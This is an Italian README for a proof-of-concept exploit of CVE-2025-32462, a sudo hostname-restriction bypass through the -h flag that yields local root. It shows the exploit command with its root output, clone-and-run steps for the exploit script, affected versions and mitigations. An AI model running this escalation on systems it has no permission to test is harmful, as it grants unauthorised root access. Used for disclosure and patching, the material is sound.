CVE-2025-32462-Exploit: Matrix-Sudo Escape

Escalation dei privilegi tramite spoofing dell'hostname (CVE-2025-32462)

"Prendi la pillola blu... la storia finisce. Prendi la pillola rossa... ottieni root."

Descrizione

Questo exploit dimostra una vulnerabilità di escalation dei privilegi in sudo (CVE-2025-32462) in cui le restrizioni basate sul nome host possono essere bypassate tramite il flag -h. La PoC crea un ambiente utente limitato, quindi vi sfugge facendo spoofing di un nome host nella whitelist per ottenere accesso root.

[user@matrix-node]$ sudo -h zion-core bash  # Spoof whitelisted hostname
[root@matrix-node]# id                          # Got root on wrong hostname!
uid=0(root) gid=0(root) groups=0(root)

Dettagli Tecnici

• Versioni di sudo vulnerabili: < 1.9.17
• Vettore di attacco: escalation locale dei privilegi
• Difetto chiave: bypass della verifica del nome host tramite il parametro sudo -h
• Impatto: gli utenti limitati possono ottenere root su sistemi configurati in modo non corretto

Utilizzo

Clona il repository:

git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape

Rendilo eseguibile ed esegui:

chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh

Segui i prompt interattivi per dimostrare:

• Rilevamento della vulnerabilità CVE-2025-32462
• Creazione utente
• Configurazione della restrizione sul nome host
• Esecuzione dell'exploit
• Pulizia

Protezione

• ✅ Aggiorna sudo alla v1.9.17+
• ✅ Evita restrizioni sudo basate sul nome host
• ✅ Usa invece policy sudo basate sui gruppi

Note Legali

Solo per scopi educativi/di ricerca. Usalo solo su sistemi che possiedi o su cui hai il permesso di testare.